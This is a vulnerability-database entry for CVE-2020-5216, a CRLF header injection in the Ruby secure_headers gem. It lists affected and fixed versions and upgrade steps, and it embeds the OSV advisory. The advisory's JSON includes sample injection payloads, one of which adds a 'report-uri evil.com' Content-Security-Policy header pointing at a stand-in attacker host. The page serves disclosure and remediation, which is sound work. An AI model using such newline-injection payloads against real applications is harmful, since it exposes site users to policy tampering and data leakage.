CVE-2020-5216: Secure headers Limited Header Injection When Using Vulnerability
MODERATECVE-2020-5216 is a MODERATE (CVSS 4.4) limited header injection when using vulnerability (CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')) affecting Secure headers libraries in the RubyGems ecosystem. The issue involves limited header injection when using dynamic overrides with user input in rubygems secure_headers. Remediation is available by upgrading affected packages to version 6.3.0, 5.2.0, 3.9.0.
CVE-2020-5216 at a Glance
Security Impact
CVSS: 4.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2020-5216
To remediate this vulnerability, upgrade all affected Secure headers dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade secure_headers to 6.3.0
Upgrade secure_headers to 5.2.0
Upgrade secure_headers to 3.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for secure_headers
How to Check if You Are Affected
To determine whether your application is affected by CVE-2020-5216, inspect your project dependencies for Secure headers:
inspect dependencies for secure_headers
Analyze the terminal output to locate any version of Secure headers in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.3.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), where the product receives data from an http agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes cr and lf characters before the data is included in outgoing http headers. In Secure headers, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2020-5216 Affected Secure headers Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
secure_headers
|
RubyGems |
≥ 6.0.0
< 6.3.0
|
6.3.0
|
|
secure_headers
|
RubyGems |
≥ 5.0.0
< 5.2.0
|
5.2.0
|
|
secure_headers
|
RubyGems |
< 3.9.0
|
3.9.0
|
References
Frequently Asked Questions
What is CVE-2020-5216?
Which Secure headers versions are affected?
What version fixes CVE-2020-5216?
Is secure_headers affected?
What is the CVSS score of CVE-2020-5216?
What CWE is associated with CVE-2020-5216?
How can I check RubyGems dependencies for CVE-2020-5216?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w978-rmpf-qmwg",
"modified" : "2023-05-16T16:11:19Z",
"published" : "2020-01-23T02:27:53Z",
"aliases" : [ "CVE-2020-5216" ],
"summary" : "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers",
"details" : "### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "secure_headers"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "6.0.0"
}, {
"fixed" : "6.3.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "RubyGems",
"name" : "secure_headers"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.0.0"
}, {
"fixed" : "5.2.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "RubyGems",
"name" : "secure_headers"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
}, {
"type" : "WEB",
"url" : "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
}, {
"type" : "WEB",
"url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/twitter/secure_headers"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-113" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2020-01-23T02:27:18Z",
"nvd_published_at" : null
}
}